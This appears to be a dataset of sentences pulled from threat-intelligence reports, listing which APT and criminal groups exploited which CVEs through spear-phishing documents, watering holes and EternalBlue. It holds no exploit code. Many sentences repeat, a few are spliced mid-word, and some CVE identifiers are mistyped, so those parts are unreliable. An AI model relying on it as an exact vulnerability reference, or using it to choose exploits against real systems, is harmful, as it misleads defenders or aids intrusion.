In their latest leak , they have released the UNITEDRAKE NSA exploit , which is a remote access and control tool that can remotely target Windows-based systems to capture desired information and transfer it to a server .
On the other hand , ShadowBrokers group made headlines in 2016 when it claimed to have robbed various exploitation tools used by the NSA including the notorious ETERNALBLUE that was a vital component in the WannaCry ransomware campaign causing damages to systems worldwide .
In all emails sent to these government officials , the actor used the same attachment : a malicious Microsoft Word document that exploited the CVE-2012-0158 vulnerability to drop a malicious payload .
Despite being an older vulnerability , many threat actors continue to leverage CVE-2012-0158 to exploit Microsoft Word .
According to the security firm , this campaign targeted Indian military officials via spear-phishing emails , distributing spyware to its victims via an Adobe Reader vulnerability .
In order to carry out this operation , it uses publicly available tools , including Mimikatz ( Hacktool.Mimikatz ) and an open-source tool that exploits a known Windows privilege escalation vulnerability ( CVE-2016-0051 ) on unpatched computers .
Each of the spear phishing attacks contained links to .doc files , which were really RTF documents that attempt to exploit CVE-2017-8570 ( Composite Moniker ) .
The Word document usually exploits CVE-2012-0158 .
Sometimes the attackers send an MS PowerPoint document instead , which exploits CVE-2014-6352 .
Sometimes Patchwork send an MS PowerPoint document instead , which exploits CVE-2014-6352 .
The malicious documents that Unit 42 examined contained legitimate decoy lures as well as malicious embedded EPS files targeting the CVE-2015-2545 and CVE-2017-0261 vulnerabilities .
One of the favorite methods used by the Pitty Tiger group to infect users is to use a Microsoft Office Word document which exploits a specific vulnerability ( CVE-2012-0158 ) .
The document , when opened , used an embedded ActiveX control to download a JavaScript file from a remote site that used a previously unknown vulnerability in some versions of Windows ( later designated CVE-2013-7331 ) to read information about the browser 's installed components .
The document files exploit at least three known vulnerabilities in Microsoft Office , which we discuss in the Infection Techniques section .
In all emails sent to these government officials , the actor used the same attachment : a malicious Microsoft Word document that exploited the CVE-2012-0158 vulnerability to drop a malicious payload .
According to the security firm , this campaign targeted Indian military officials via spear-phishing emails , distributing spyware to its victims via an Adobe Reader vulnerability .
PLATINUM 's persistent use of spear phishing tactics ( phishing attempts aimed at specific individuals ) and access to previously undiscovered zero-day exploits have made it a highly resilient threat .
The group 's persistent use of spear phishing tactics ( phishing attempts aimed at specific individuals ) and access to previously undiscovered zero-day exploits have made it a highly resilient threat .
We believe that the Carbanak campaign is a clear indicator of a new era in cybercrime in which criminals use APT techniques directly against the financial industry instead of through its customers .
Carbanak has its origin in more common financial fraud including theft from consumer and corporate bank accounts in Europe and Russia , using standard banking malware , mainly Carberp .
However , in September last year , our friends at CSIS published a blog detailing a new Carbanak variant affecting one of its customers .
PIVY also played a key role in the 2011 campaign known as Nitro that targeted chemical makers , government agencies , defense contractors , and human rights groups.10,11 Still active a year later , the Nitro attackers used a zero-day vulnerability in Java to deploy PIVY in 2012 .
Each of the spear phishing attacks contained links to .doc files , which were really RTF documents that attempt to exploit CVE-2017-8570 ( Composite Moniker ) .
The Word document usually exploits CVE-2012-0158 .
Sometimes the attackers send an MS PowerPoint document instead , which exploits CVE-2014-6352 .
Sometimes Patchwork send an MS PowerPoint document instead , which exploits CVE-2014-6352 .
The malicious documents that Unit 42 examined contained legitimate decoy lures as well as malicious embedded EPS files targeting the CVE-2015-2545 and CVE-2017-0261 vulnerabilities .
Older documents used by Patchwork focused on the CVE-2017-0261 vulnerability , however in late January 2018 when , paradoxically , newer documents abandoned this vulnerability to attack the older CVE-2015-2545 vulnerability .
PittyTiger has also been seen using Heartbleed vulnerability in order to directly get valid credentials .
They have also been seen using Heartbleed vulnerability in order to directly get valid credentials .
One of the favorite methods used by the Pitty Tiger group to infect users is to use a Microsoft Office Word document which exploits a specific vulnerability ( CVE-2012-0158 ) .
PittyTiger could also use CVE-2014-1761 , which is more recent .
PLATINUM is known to have used a number of zero-day exploits , for which no security update is available at the time of transmission , in these attempts .
The document , when opened , used an embedded ActiveX control to download a JavaScript file from a remote site that used a previously unknown vulnerability in some versions of Windows ( later designated CVE-2013-7331 ) to read information about the browser 's installed components .
When the document was opened in Word , PLATINUM exploited a previously unknown vulnerability in the Microsoft Office PostScript interpreter ( designated CVE-2015-2545 ) that enabled it to execute the attacker 's code and drop an attacker-generated malicious DLL onto the computer .
The DLL exploited another previously unknown vulnerability ( designated CVE-2015-2546 ) in the Windows kernel , which enabled it to elevate privileges for the Word executable and subsequently install a backdoor through the application .
When the document was opened in Word , it exploited a previously unknown vulnerability in the Microsoft Office PostScript interpreter ( designated CVE-2015-2545 ) that enabled it to execute the attacker 's code and drop an attacker-generated malicious DLL onto the computer .
In total , PLATINUM made use of four zero-day exploits during these two attack campaigns ( two remote code execution bugs , one privilege escalation , and one information disclosure ) , showing an ability to spend a non-trivial amount of resources to either acquire professionally written zero-day exploits from unknown markets , or research and utilize the zero-day exploits themselves .
PLATINUM has used several zero-day exploits against their victims .
Even if CVE-2015-2546 affected Windows 10 , the exploitation would have required much more technical prowess to succeed ; ultimately , SMEP makes it more difficult for attackers .
For example , one zero-day vulnerability exploit ( CVE-2015-2545 ) used by PLATINUM was addressed immediately in September 2015 .
It possesses a wide range of technical exploitation capabilities , significant resources for researching or purchasing complicated zero-day exploits , the ability to sustain persistence across victim networks for years , and the manpower to develop and maintain a large number of tools to use within unique victim networks .
In 2016 , an attack campaign by this group was recorded in early May that made use of an exploit for CVE-2016-4117 , a vulnerability in Adobe Flash Player , which at the time was both unknown and unpatched .
To deliver the malware to the victim machines , the Rocke group exploits vulnerabilities in Apache Struts 2 , Oracle WebLogic , and Adobe ColdFusion .
However , around a month ago , Rocke started targeting systems that run Jenkins by attempting to exploit CVE-2018-1000861 and CVE-2019-1003000 .
The Shadow Brokers first emerged in August , when they posted links to a selection of NSA exploits and hacking tools onto Github and other websites .
In April , 2018 , the 360 Core Security takes the lead in capturing the APT-C-06 group’s new APT attack using 0-day vulnerabilities (CVE-2018-8174) in the wild .
The group has demonstrated access to zero-day vulnerabilities (CVE-2018-0802) , and the ability to incorporate them into operations .
FireEye observed a high volume of activity associated with the exploitation of CVE-2017-10271 following the public posting of proof of concept code in December 2017 .
If the lateral movement with credentials fails , then the malware uses PingCastle MS17-010 scanner (PingCastle is a French Active Directory security tool) to scan that particular host to determine if its vulnerable to EternalBlue , and uses it to spread to that host .
Tactic #1: Delivering the miner directly to a vulnerable serverSome tactics we've observed involve exploiting CVE-2017-10271 , leveraging PowerShell to download the miner directly onto the victim’s system (Figure 1) , and executing it using ShellExecute() .
We assess that the actors employing this latest Flash zero-day are a suspected North Korean group we track as TEMP.Reaper .
Figure 2: Zyklon attack flowInfection Techniques CVE-2017-8759 .
This vulnerability was discovered by FireEye in September 2017 , and it is a vulnerability we have observed being exploited in the wild .
Figure 3: Embedded URL in OLE object CVE-2017-11882 Similarly , we have also observed actors leveraging another recently discovered vulnerability (CVE-2017-11882) in Microsoft Office .
The other overlapping files are tools used by the adversary to locate other systems on the network (etool.exe) , check to see if they are vulnerable to CVE-2017-0144 (EternalBlue) patched in MS07-010 (checker1.exe) and pivot to them using remote execution functionality offered by a tool similar to PsExec offered by Impacket (psexec.exe) .
The files uploaded to this webshell included the same compiled python script that would scan remote systems that were vulnerable to CVE-2017-0144 (EternalBlue) that we saw uploaded to the other errr.aspx webshell .
We believe the actors pivoted to other systems on the network using stolen credentials and by exploiting the CVE-2017-0144 (EternalBlue) vulnerability patched in MS17-010 .
Code contained inside one of the slides triggers an exploit for CVE-2017-8759 , a remote code execution vulnerability in Microsoft .NET framework .
According to FireEye , the admin@338 sent out emails containing malicious documents designed to exploit Microsoft Office vulnerabilities in an effort to deliver a piece of malware dubbed LOWBALL .
According to FireEye , the attackers sent out emails containing malicious documents designed to exploit Microsoft Office vulnerabilities in an effort to deliver a piece of malware dubbed LOWBALL .
Similar to RIPTIDE campaigns , APT12 infects target systems with HIGHTIDE using a Microsoft Word ( .doc ) document that exploits CVE-2012-0158 .
The Sofacy group spearphished targets in several waves with Flash exploits leading to their Carberp based JHUHUGIT downloaders and further stages of malware .
APT28 spearphished targets in several waves with Flash exploits leading to their Carberp based JHUHUGIT downloaders and further stages of malware .
The group spearphished targets in several waves with Flash exploits leading to their Carberp based JHUHUGIT downloaders and further stages of malware .
APT28 is using novel techniques involving the EternalBlue exploit and the open source tool Responder to spread laterally through networks and likely target travelers .
The JHUHUGIT implant became a relatively popular first stage for the Sofacy attacks and was used again with a Java zero-day ( CVE-2015-2590 ) in July 2015 .
We are however only aware of one instance - the exploitation of CVE-2013-0640 to deploy MiniDuke - where we believe the exploited vulnerability was a zero-day at the time that the group acquired the exploit .
FireEye confirmed that since at least November 2017 , APT37 exploited a zero-day Adobe Flash vulnerability , CVE-2018-4878 , to distribute DOGCALL malware to South Korean victims .
FireEye iSIGHT Intelligence confirmed that since at least November 2017 , APT37 exploited a zero-day Adobe Flash vulnerability , CVE-2018-4878 , to distribute DOGCALL malware to South Korean victims .
A well-funded , highly active group of Middle Eastern hackers was caught , yet again , using a lucrative zero-day exploit in the wild to break into computers and infect them with powerful spyware developed by an infamous cyberweapons dealer named Gamma Group .
A well-funded , highly active BlackOasis group of Middle Eastern hackers was caught , yet again , using a lucrative zero-day exploit in the wild to break into computers and infect them with powerful spyware developed by an infamous cyberweapons dealer named Gamma Group .
Kaspersky found the BlackOasis group was exploiting a Adobe Flash Player zero-day vulnerability ( CVE-2016-4117 ) to remotely deliver the latest version of " FinSpy " malware , according to a new blog post published Monday .
Kaspersky found the group was exploiting a Adobe Flash Player zero-day vulnerability ( CVE-2016-4117 ) to remotely deliver the latest version of " FinSpy " malware , according to a new blog post published Monday .
BRONZE BUTLER has demonstrated the ability to identify a significant zero-day vulnerability within a popular Japanese corporate tool and then use scan-and-exploit techniques to indiscriminately compromise Japanese Internet-facing enterprise systems .
The group has demonstrated the ability to identify a significant zero-day vulnerability within a popular Japanese corporate tool and then use scan-and-exploit techniques to indiscriminately compromise Japanese Internet-facing enterprise systems .
BRONZE BUTLER has used phishing emails with Flash animation attachments to download and execute Daserf malware , and has also leveraged Flash exploits for SWC attacks .
The group has used phishing emails with Flash animation attachments to download and execute Daserf malware , and has also leveraged Flash exploits for SWC attacks .
While investigating a 2016 intrusion , Secureworks identified BRONZE BUTLER exploiting a then-unpatched remote code execution vulnerability ( CVE-2016-7836 ) in SKYSEA Client View , a popular Japanese product used to manage an organization .
While investigating a 2016 intrusion , Secureworks incident responders identified BRONZE BUTLER exploiting a then-unpatched remote code execution vulnerability ( CVE-2016-7836 ) in SKYSEA Client View , a popular Japanese product used to manage an organization .
Carbanak is a remote backdoor ( initially based on Carberp ) , designed for espionage , data exfiltration and to provide remote access to infected machines .
If found on the target system , Carbanak will try to exploit a known vulnerability in Windows XP , Windows Server 2003 , Windows Vista , Windows Server, Windows 7 , Windows 8 , and Windows Server 2012 , CVE-2013-3660 , for local privilege escalation .
To enable connections to the infected computer using the Remote Desktop Protocol ( RDP ) , Carbanak sets Termservice service execution mode to Auto .
Carbanak is also aware of the IFOBS banking application and can , on command , substitute the details of payment documents in the IFOBS system .
Sensitive bank documents have be found on the servers that were controlling Carbanak .
Existing telemetry indicates that the Carbanak attackers are trying to expand operations to other Baltic and Central Europe countries , the Middle East , Asia and Africa .
We believe that the Carbanak campaign is a clear indicator of a new era in cybercrime in which criminals use APT techniques directly against the financial industry instead of through its customers .
This report describes the details and type of operations carried out by Carbanak that focuses on financial industry , such as payment providers , retail industry and PR companies .
Carbanak has its origin in more common financial fraud including theft from consumer and corporate bank accounts in Europe and Russia , using standard banking malware , mainly Carberp .
From 2013 Carbanak intensified its activity focused on banks and electronic payment systems in Russia and in the post-Soviet space .
Since 2013 Carbanak has successfully gained access to networks of more than 50 banks and 5 payment systems .
To reduce the risk of losing access to the internal bank network , the Carbanak , in addition to malicious programs , also used for remote access legitimate programs such as Ammy Admin and Team Viewer .
Additionally the reports on Carbanak show a different picture , where banks targeted outside of Russia , specifically Europe , USA and Japan are mentioned , which does not match our research .
These attacks have included criminal groups responsible for the delivery of NewPosThings , MalumPOS and PoSeidon point of sale Malware , as well as Carbanak from the Russian criminal organization we track as Carbon Spider .
The leader of the crime gang behind the Carbanak and Cobalt malware attacks targeting over a 100 financial institutions worldwide has been arrested in Alicante , Spain , after a complex investigation conducted by the Spanish National Police .
Since 2013 , the cybercrime gang have attempted to attack banks , e-payment systems and financial institutions using pieces of malware they designed , known as Carbanak and Cobalt .
Other public tools used by the CopyKittens are Metasploit , a well-known free and open source framework for developing and executing exploit code against a remote target machine ; Mimikatz , a post-exploitation tool that performs credential dumping ; and Empire , a PowerShell and Python post-exploitation agent .
Just a few months later , in February 2015 , we announced the discovery of Carbanak , a cyber-criminal gang that used custom malware and APT techniques to steal millionsdollars while infecting hundreds of financial institutions in at least 30 countries .
However , in September last year , our friends at CSIS published a blog detailing a new Carbanak variant affecting one of its customers .
In one remarkable case , the Carbanak 2.0 gang used its access to a financial institution that stores information about shareholders to change the ownership details of a large company .
This Gorgon Group campaign leveraged spear phishing emails with Microsoft Word documents exploiting CVE-2017-0199 .
Ke3chang has also leveraged a Java zero-day vulnerability ( CVE-2012-4681 ) , as well as older , reliable exploits for Microsoft Word ( CVE-2010-3333 ) and Adobe PDF Reader ( CVE-2010-2883 ) .
While the URL acts similarly to how eye-watch.in : 443 delivers payloads , we also saw the URL leveraging and exploiting security flaws in Flash : CVE-2015-8651 , CVE-2016-1019 , and CVE-2016-4117 .
The exploit , which takes advantage of CVE-2018-4878 , allows an attacker to execute arbitrary code such as an implant .
Documents with the Flash exploit managed to evade static defenses and remain undetected as an exploit on VirusTotal .
WannaCry utilizes EternalBlue by crafting a custom SMB session request with hard-coded values based on the target system .
WannaCry leverages an exploit , codenamed " EternalBlue " , that was released by the Shadow Brokers on April 14 , 2017 .
Microsoft addressed the SMBv1 vulnerabilities in March 2017 with Security Bulletin MS17-010 .
The worm leverages an SMBv1 exploit that originates from tools released by the Shadow Brokers threat group in April .
If the DoublePulsar backdoor does not exist , then the SMB worm attempts to compromise the target using the Eternalblue SMBv1 exploit .
Leafminer has developed exploit payloads for this framework ( Table 2 ) that deliver custom malware through attacks against SMB vulnerabilities described by Microsoft .
The EternalBlue exploit from the framework received worldwide attention after being used in the ransomware campaigns WannaCry in May and Petya / NotPetya in June 2017 .
The Leafminer operators use EternalBlue to attempt lateral movement within target networks from compromised staging servers .
Symantec also observed attempts by Leafminer to scan for the Heartbleed vulnerability ( CVE-2014-0160 ) from an attacker-controlled IP address .
The attachments exploited CVE-2017-8759 which was discovered and documented only five days prior to the campaign .
Some of the documents exploited CVE-2017-0199 to deliver the payload .
The group 's capabilities are more than the much discussed CVE-2012-0158 exploits over the past few years .
Instead , the Spring Dragon group is known to have employed spearphish exploits , strategic web compromises , and watering holes attack .
The group 's spearphish toolset includes PDF exploits , Adobe Flash Player exploits , and the common CVE-2012-0158 Word exploits including those generated from the infamous " Tran Duy Linh " kit .
While this particular actor effectively used their almost worn out CVE-2012-0158 exploits in the past , Spring Dragon employs more involved and creative intrusive activity as well .
To mitigate the threat of the described campaign , security teams can consider blocking access to the C2 server 103.236.150.14 and , where applicable , ensure that the Microsoft Security Update KB2553204 is installed in order to patch the CVE-2017-11882 vulnerability .
The actors attempted to exploit CVE-2014-6332 using a slightly modified version of the proof-of-concept ( POC ) code to install a Trojan called Emissary , which is related to the Operation Lotus Blossom campaign .
Both attachments are malicious Word documents that attempt to exploit the Windows OLE Automation Array Remote Code Execution Vulnerability tracked by CVE-2014-6332 .
Lotus Blossom attempted to exploit CVE-2014-6332 using the POC code available in the wild .
Lotus Blossom was attempting to exploit CVE-2014-6332 to install a new version of the Emissary Trojan , specifically version 5.3 .
POWRUNER was delivered using a malicious RTF file that exploited CVE-2017-0199 .
In November 2017 , APT34 leveraged the Microsoft Office vulnerability CVE-2017-11882 to deploy POWRUNER and BONDUPDATER less than a week after Microsoft issued a patch .
PIVY also played a key role in the 2011 campaign known as Nitro that targeted chemical makers , government agencies , defense contractors , and human rights groups.10,11 Still active a year later , the Nitro attackers used a zero-day vulnerability in Java to deploy PIVY in 2012 .
Just recently , PIVY was the payload of a zero-day exploit in Internet Explorer used in what is known as a " strategic web compromise " attack against visitors to a U.S. government website and a variety of others .
It came in the form of a " Tran Duy Linh " CVE-2012-0158 exploit kit document MD5 : de8a242af3794a8be921df0cfa51885f61 and was observed on April 10 , 2014 .
This bait document , or email attachment , appears to be a standard Word document , but is in fact an CVE-2012-0158 exploit , an executable with a double extension , or an executable with an RTLO filename , so it can execute code without the user 's knowledge or consent .
PROMETHIUM and NEODYMIUM both used an exploit for CVE-2016-4117 , a vulnerability in Adobe Flash Player that , at the time , was both unknown and unpatched .
PROMETHIUM and NEODYMIUM both used a zero-day exploit that executed code to download a malicious payload .
NEODYMIUM also used the exact same CVE-2016-4117 exploit code that PROMETHIUM used , prior to public knowledge of the vulnerability 's existence .
In May 2016 , two apparently unrelated activity groups , PROMETHIUM and NEODYMIUM , conducted attack campaigns in Europe that used the same zeroday exploit while the vulnerability was publicly unknown .
The Middle Eastern hacker group in this case is codenamed " BlackOasis " Kaspersky found the group was exploiting a Adobe Flash Player zero-day vulnerability ( CVE-2016-4117 ) to remotely deliver the latest version of " FinSpy " malware , according to a new blog post published Monday .
The discovery by Kaspersky marks at least the fifth zero-day exploit used by BlackOasis and exposed by security researchers since June 2015 .
Less than a week after Microsoft issued a patch for CVE-2017-11882 on Nov. 14 , 2017 , FireEye observed an attacker using an exploit for the Microsoft Office vulnerability to target a government organization in the Middle East .
The backdoor was delivered via a malicious .rtf file that exploited CVE-2017-0199 .
In this latest campaign , APT34 leveraged the recent Microsoft Office vulnerability CVE-2017-11882 to deploy POWRUNER and BONDUPDATER .
During the past few months , APT34 has been able to quickly incorporate exploits for at least two publicly vulnerabilities ( CVE-2017-0199 and CVE-2017-11882 ) to target organizations in the Middle East .
In November 2017 , APT34 leveraged the Microsoft Office vulnerability CVE-2017-11882 to deploy POWRUNER and BONDUPDATER less than a week after Microsoft issued a patch .
POWRUNER was delivered using a malicious RTF file that exploited CVE-2017-0199 .
Specifically , Suckfly used a specially crafted web page to deliver an exploit for the Microsoft Windows OLE Remote Code Execution Vulnerability ( CVE-2014-6332 ) , which affects specific versions of Microsoft Windows .
This time , however , TA459 opportunistically used spear-phishing emails with a Microsoft Word attachment exploiting the recently patched CVE-2017-0199 to deploy the ZeroT Trojan , which in turn downloaded the PlugX Remote Access Trojan ( RAT ) .
This time , however , attackers opportunistically used spear-phishing emails with a Microsoft Word attachment exploiting the recently patched CVE-2017-0199 to deploy the ZeroT Trojan , which in turn downloaded the PlugX Remote Access Trojan ( RAT ) .
Data from the early part of this year shows that the Taidoor attackers rampantly used malicious.DOC files to exploit a Microsoft Common Controls vulnerability , CVE-2012-0158 .
TG-3390 uses older exploits to compromise targets , and CTU researchers have not observed the threat actors using zero-day exploits as of this publication .
TG-3390 actors have used Java exploits in their SWCs .
In particular , TG-3390 has exploited CVE-2011-3544 , a vulnerability in the Java Runtime Environment , to deliver the HTTPBrowser backdoor ; and CVE-2010-0738 , a vulnerability in JBoss , to compromise internally and externally accessible assets used to redirect users' web browsers to exploit code .
In particular , the threat actors have exploited CVE-2011-3544 , a vulnerability in the Java Runtime Environment , to deliver the HTTPBrowser backdoor ; and CVE-2010-0738 , a vulnerability in JBoss , to compromise internally and externally accessible assets used to redirect users' web browsers to exploit code .
TG-3390 's activities indicate a preference for leveraging SWCs and scan-and-exploit techniques to compromise target systems .
Even when we observed LuckyMouse using weaponized documents with CVE-2017-11882 ( Microsoft Office Equation Editor , widely used by Chinese-speaking actors since December 2017 ) , we can′t prove they were related to this particular attack .
LuckyMouse has been spotted using a widely used Microsoft Office vulnerability ( CVE-2017-11882 ) .
No zero-day vulnerabilities were used to breach targeted networks , instead " TG-3390 relied on old vulnerabilities such as CVE-2011-3544 " — a near-year-old Java security hole — " and CVE-2010-0738 to compromise their targets " , Dell SecureWorks' researchers reported .
Execute a command through exploits for CVE-2017-11882 .
Execute a command through exploits for CVE-2018-0802 .
The document attached to this e-mail exploits CVE-2012-0158 .
Tropic Trooper is also still exploiting CVE-2012-0158 , as are many threat actors .
The documents attached to spear-phishing e-mails used in both attacks contain code that exploits CVE-2012-0158 , which despite its age remains one of the most common Microsoft Word vulnerabilities being exploited by multiple threat actors .
the backdoor is packaged together with the CVE-2013-5065 EoP exploit and heavily obfuscated .
While we were unable to recover the initial vulnerability used , it is possibly the same CVE-2014-0515 Adobe Flash exploit first reported by Cisco TRAC in late July .
However , to increase success rates APT20 can use zero-day exploits , so even a properly patched system would be compromised .
PLEAD also dabbled with a short-lived , fileless version of their malware when it obtained an exploit for a Flash vulnerability ( CVE-2015-5119 ) that was leaked during the Hacking Team breach .
PLEAD also uses CVE-2017-7269 , a buffer overflow vulnerability Microsoft Internet Information Services ( IIS ) 6.0 to compromise the victim 's server .
Kaspersky Lab has detected a new method of first infection that uses a drive-by-download with a flash exploit ( CVE-2015-5119 , the one leaked from The Hacking Team incident ) .
If the document was delivered with macros instead of exploits ( CVE-2012-0158 , CVE-2013-3906 or CVE-2014-1761 ) , then the document contained instructions for enabling macros .
Moreover , they used the same exploit kit Niteris as that in the Corkow case .
The CVE-2012-0773 was originally discovered by VUPEN and has an interesting story .
The decoy documents used by the InPage exploits suggest that the targets are likely to be politically or militarily motivated .
While documents designed to exploit the InPage software are rare , they are not new – however in recent weeks Unit42 has observed numerous InPage exploits leveraging similar shellcode , suggesting continued use of the exploit previously discussed by Kaspersky .
Compared to Patchwork , whose Trojanized documents exploit at least five security flaws , Confucius' backdoors are delivered through Office files exploiting memory corruption vulnerabilities CVE-2015-1641 and CVE-2017-11882 .
Lately , Patchwork has been sending multiple RTF files exploiting CVE-2017-8570 .
Confucius' backdoors are delivered through Office documents exploiting memory corruption vulnerabilities CVE-2015-1641 and CVE-2017-11882 .
The sctrls backdoor we came across is delivered via RTF files exploiting CVE-2015-1641 .
The documents that exploit CVE2017-11882 download another payload — an HTML Application ( HTA ) file toting a malicious Visual Basic ( VBS ) script — from the server , which is executed accordingly by the command-line tool mshta.exe .
Hackers use the exploits " Nitris Exploit Kit " ( earlier known as CottonCastle ) , which is not available in open sources and sold only to trusted users .
Hackers first actively spread bots using the Niteris exploit , and then search for infected devices at banks amongst their bots by analyzing IP addresses , cracked passwords and results of the modules performance .
In August 2014 , some of our users observed targeted attacks with a variation of CVE-2012-0158 and an unusual set of malware .
Longhorn , which we internally refer to as " The Lamberts " , first came to the attention of the ITSec community in 2014 , when our colleagues from FireEye discovered an attack using a zero day vulnerability ( CVE-2014-4148 ) .
The first time the Lambert family malware was uncovered publicly was in October 2014 , when FireEye posted a blog about a zero day exploit ( CVE-2014-4148 ) used in the wild .
While in most cases the infection vector remains unknown , the high profile attack from 2014 used a very complex Windows TTF zero-day exploit ( CVE-2014-4148 ) .
To further exemplify the proficiency of the attackers leveraging the Lamberts toolkit , deployment of Black Lambert included a rather sophisticated TTF zero day exploit , CVE-2014-4148 .
This sample was also found to be deployed using the CVE-2012-0158 vulnerability .
Our analysis shows that actors attempted to exploit CVE-2012-0158 to install NetTraveler Trojan .
Unit 42 's analysis shows that NetTraveler attempted to exploit CVE-2012-0158 to install NetTraveler Trojan .
Our analysis shows that NetTraveler attempted to exploit CVE-2012-0158 to install NetTraveler Trojan .
In this report , we'll review how the actors attempted to exploit CVE-2012-0158 to install the NetTraveler Trojan .
In this report , we'll review how NetTraveler attempted to exploit CVE-2012-0158 to install the NetTraveler Trojan .
In this report , we'll review how the NetTraveler attempted to exploit CVE-2012-0158 to install the NetTraveler Trojan .
Kaspersky Lab 's products detect the Microsoft Office exploits used in the spear-phishing attacks , including Exploit.MSWord.CVE-2010-333 , Exploit.Win32.CVE-2012-0158 .
The files exploit the well-known Microsoft Office vulnerability , CVE-2012-0158 , to execute malicious code in order to take control of the targeted systems .
Earlier this month , Securelist 's technology caught another zero-day Adobe Flash Player exploit deployed in targeted attacks .
Operation Daybreak appears to have been launched by ScarCruft in March 2016 and employs a previously unknown ( 0-day ) Adobe Flash Player exploit .
Adobe Flash Player exploit .
It is also possible that ScarCruft deployed another zero day exploit , CVE-2016-0147 , which was patched in April .
Operation Erebus leverages another Flash Player exploit ( CVE-2016-4117 ) through the use of watering hole attacks .
ScarCruft 's Operation Erebus leverages another Flash Player exploit ( CVE-2016-4117 ) through the use of watering hole attacks .
Nevertheless , resourceful threat actors such as ScarCruft will probably continue to deploy zero-day exploits against their high profile targets .
This malware uses the public privilege escalation exploit code CVE-2018-8120 or UACME which is normally used by legitimate red teams .
Earlier this month , we caught another zero-day Adobe Flash Player exploit deployed in targeted attacks .
The other one , ScarCruft 's Operation Erebus employs an older exploit , for CVE-2016-4117 and leverages watering holes .
The other one , " Operation Erebus " employs an older exploit , for CVE-2016-4117 and leverages watering holes .
The ScarCruft APT gang has made use of a Flash zero day patched Thursday by Adobe to attack more than two dozen high-profile targets in Russia and Asia primarily .
Adobe on Thursday patched a zero-day vulnerability in Flash Player that has been used in targeted attacks carried out by a new APT group operating primarily against high-profile victims in Russia and Asia .
Researchers at Kaspersky Lab privately disclosed the flaw to Adobe after exploits against the zero-day were used in March by the ScarCruft APT gang in what Kaspersky Lab is calling Operation Daybreak .
Kaspersky speculates that ScarCruft could also be behind another zero-day , CVE-2016-0147 , a vulnerability in Microsoft XML Core Services that was patched in April .
Another set of attacks called Operation Erebus leverages another Flash exploit , CVE-2016-4117 , and relies on watering hole attacks as a means of propagation .
Thursday 's Flash Player update patched 36 vulnerabilities in total including the zero day CVE-2016-4171 .
Wild Neutron 's attacks in 2015 uses a stolen code signing certificate belonging to Taiwanese electronics maker Acer and an unknown Flash Player exploit .
Wild Neutron 's attack took advantage of a Java zero-day exploit and used hacked forums as watering holes .
Instead of Flash exploits , older Wild Neutron exploitation and watering holes used what was a Java zero-day at the end of 2012 and the beginning of 2013 , detected by Kaspersky Lab products as Exploit.Java.CVE-2012-3213.b .
In that case ,we observed Buhtrap using a local privilege escalation exploit , CVE-2019-1132 , against one of its victims .
Prior to that report ,we published detail analysis on malware exploiting CVE-2018-8414 vulnerability (remote code execution in SettingContent-ms) ,which is believed a work of DarkHydrus .
WannaCry incorporated the leaked EternalBlue exploit that used two known vulnerabilities in Windows CVE-2017-0144 and CVE-2017-0145 to turn the ransomware into a worm , capable of spreading itself to any unpatched computers on the victim's network and also to other vulnerable computers connected to the internet .
One vulnerability is a Windows zero-day vulnerability (CVE-2019-0703) discovered by Symantec .
Bemstour exploits two Windows vulnerabilities in order to achieve remote kernel code execution on targeted computers .
The second Windows vulnerability (CVE-2017-0143) was patched in March 2017 after it was discovered to have been used by two exploit tools—EternalRomance and EternalSynergy—that were also released as part of the ShadowThese include CVE-2010-3962 as part of an attack campaign in 2010 and CVE-2014-1776 in 2014 .
Beginning in August 2016 , a group calling itself the Shadowbegan releasing tools it claimed to have originated from the Equation Group .
The zero-day vulnerability found and reported by Symantec (CVE-2019-0703) occurs due to the way the Windows SMB Server handles certain requests .
CVE-2017-0143 was also used by two other exploit tools—EternalRomance and EternalSynergy—that were released as part of the Shadow Brokers leak in April 2017 .
this RTF exploits again the CVE-2017_1882 on eqnedt32.exe .
At this time , we do not believe that the attackers found a new ASA exploit .
We believe the groups moved to use CVE-2018-0798 instead of the other Microsoft Equation Editor Remote Code Execution (RCE) vulnerabilities because the former is more reliable as it works on all known versions of Equation Editor .
The analyzed RTF files share the same object dimension (objw2180\objh300) used to track the RTF weaponizer in our previous report ,the sample was not exploiting CVE-2017-11882 or CVE-2018-0802 .
After further analysis , it was discovered that the RTF files were exploiting the CVE-2018-0798 vulnerability in Microsoft’s Equation Editor (EQNEDT32) .
Anomali Researchers were able to identify multiple samples of malicious RTF documents ITW using the same exploit for CVE-2018-0798 .
CVE-2018-0798 is an RCE vulnerability , a stack buffer overflow that can be exploited by a threat actor to perform stack corruption .
As observed previously with CVE-2017-11882 and CVE-2018-0802 , the weaponizer was used exclusively by Chinese cyber espionage actors for approximately one year December 2017 through December 2018 , after which cybercrime actors began to incorporate it in their malicious activity .
Analysis of the Royal Road weaponizer has resulted in the discovery that multiple Chinese threat groups started utilizing CVE-2018-0798 in their RTF weaponizer .
These findings also suggest that the threat groups have robust exploit developing capabilities because CVE-2018-0798 is not widely reported on and it is typically not incorporated into publicly available weaponizers .
Upon opening of the MS Word document ,our embedded file exploits CVE-2017-11882 to drop a malicious fake Norton Security Shell Extension module , 'NavShExt.dll' , which is then injected into iexplore.exe to install the backdoor , begin collection , and activate command and control .
Moving through the infection process , NetWitness Endpoint detects the initial exploit CVE-2017-1182 in action as the Microsoft Equation Editor , 'EQNEDT32.exe' , scores high for potentially malicious activity .
Attackers relied on Microsoft Equation Editor exploit CVE-2018-0798 to deliver a custom malware that Proofpoint researchers have dubbed Cotx RAT Maudi Surveillance Operation which was previously reported in 2013 .
specifically CVE-2018-0798 , before downloading subsequent payloads .
Dubbed ‘Operation Sheep’ , this massive data stealing campaign is the first known campaign seen in the wild to exploit the Man-in-the-Disk vulnerability revealed by Check Point Research earlier last year .
Notably , APT41 was observed using proof-of-concept exploit code for CVE-2019-3396 within 23 days after the Confluence .
We’ve discovered a new version of BalkanDoor with a new method for execution/installation: an exploit of the WinRAR ACE vulnerability CVE-2018-20250 .
In some of the latest samples of BalkanDoor detected in 2019 , the malware is distributed as an ACE archive , disguised as a RAR archive (i.e , not an executable file) , specially crafted to exploit the WinRAR ACE vulnerability CVE-2018-20250 .
The actor attempts to exploit CVE-2018–8440 — an elevation of privilege vulnerability in Windows when it improperly handles calls to Advanced Local Procedure Call — to elevate the privileges using a modified proof-of-concept exploit .
The China Chopper actor activity starts with the download and execution of two exploit files which attempt to exploit the Windows vulnerabilities CVE-2015-0062 , CVE-2015-1701 and CVE-2016-0099 to allow the attacker to modify other objects on the server .
